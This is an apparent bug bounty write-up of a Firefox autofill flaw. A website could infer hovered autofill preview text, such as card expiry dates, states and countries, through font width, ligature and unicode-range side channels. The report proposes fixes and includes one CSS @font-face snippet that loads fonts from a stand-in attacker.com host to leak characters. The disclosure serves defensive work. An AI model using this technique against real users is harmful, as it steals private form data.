Autofill preview text can disclose sensitive information
The autofill preview text, shown when hovering over an autofill entry, can be stolen by a website using font-based side channels and by inferring content from the limited set of characters. An attacker could use this to disclose sensitive information such as credit card expiration dates, U.S. states, countries, and CJK words.
Originally disclosed on Mozilla
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 2 months
The previewed text of autofill, shown to the user when the user hovers over an autofill entry, contains sensitive information and should not be accessible by the website until the user selects it. However, several vulnerabilities exist that can be used to steal the preview text.
1. Font side-channel attack
The font of the preview text follows the style of the field, making it possible to set the font of the preview text. The website can use a specially crafted font to infer the preview text, of which glyphs differ in size or font face.
(1) Size
Each character can have different width, and content can be inferred from size properties such as `scrollWidth.` Similar attacks have been proposed and patched in Chromium: crbug.com/916838 (CVE-2019-5810), crbug.com/951487 (CVE-2019-5848), crbug.com/1013882 (CVE-2019-13737), crbug.com/1035058 (CVE-2020-6393), and crbug.com/1035063.
(2) Ligatures
Font ligatures with abnormal size can be used to detect if a specific sequence exists (https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/).
(3) Font face
'unicode-range' of '@font-face' can be used to detect used characters in the font, e.g., assigning a single character for each font-faces:
@font-face {
font-family: AutofillCheck;
src: url(https://attacker.com/font.woff2?a) format('woff2');
unicode-range: U+61; /* a */
}
W3C CSS Fonts Module Level 4 draft states:
> For _especially privacy-sensitive contexts_, options would include never downloading any webfonts (at the risk that some characters may be rendered incorrectly, or not at all), or always downloading all webfonts whether needed or not (ignoring unicode-range, and potentially downloading vast quantities of unused fonts each time the page is viewed).
> In addition, careful pairing of unicode-range and distinct src urls allows the third-party to see which characters are used on a page, which is a privacy risk for large character repertoire scripts such as CJK.
Whether a font face is loaded can be checked via the 'document.fonts.check()' API on the client-side or logging requests on the server-side.
(4) Chromium
Similar issues existed in Chromium, which other people and I've reported, and in response, they have pinned the preview font of <input> to `-webkit-small-control`: crrev.com/671647.
(5) Proposed fix
Pin the font family and size of the preview text to a system font, which stylesheets cannot override.
2. Inferring the content
(1) The credit card expiration date, U.S. states, countries, and most CJK words have an almost unique combination of used alphabets, so they can be reliably inferred.
(2) A uniquely identifiable character, possibly a homograph or invisible character, can be added to <option>s and used to identify suggested options.
(3) There is no limit on the number of <option>s that an autofill entry matches, so it can be used in brute-force and de-anonymization attacks.
(4) Proposed fix
Limit the number of <option>s that autofill entries can match
3. Real-world risks and scenarios
There are several bugs and tricks to enable autofill on hidden fields.
A legitimate form can use this to collect user information.
The autofill dialog can be activated by only two ArrowDown keypresses or a simple mouse action, which can be easily socially engineered into, e.g., phishing or disguised as a game.
The exploit takes only a few milliseconds and doesn't cause a noticeable delay. The popup will appear, but it'd be enough time to send information or make a purchase before the user notices, and it is dismissed if the focus is removed from the input, e.g., focusing on other elements or navigating away from the page.
4. Mitigating factors and future considerations
Currently, the autofill value is not filled multiple times, which can be used to reduce the search space. If it were to be implemented in the future, a reasonable limit on the number of the value filled should be put in place (crbug.com/1075734, CVE-2020-6521).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the preview text is rendered using the page's fonts and styles, allowing side-channel measurement of character widths, ligatures, and font-face loading, and the number of matching options is unlimited.
Impact
An attacker could steal sensitive autofill preview data such as credit card expiration dates, U.S. states, countries, and CJK words, and the exploit is fast enough to complete before the user notices, though the autofill value is not filled multiple times which reduces the search space.
What the attacker needed
Victim hovers over autofill entry; attacker controls page styles; autofill enabled
The fix
The preview text's font family and size should be pinned to a system font that stylesheets cannot override, and the number of matching options should be limited.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you hover over an autofill suggestion, a preview of the text appears. This report shows that a malicious website can measure tiny differences in how that preview text is displayed, like the width of characters or which fonts are loaded, to guess what the preview says. That means private information like your credit card expiry date could be leaked without you clicking anything.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.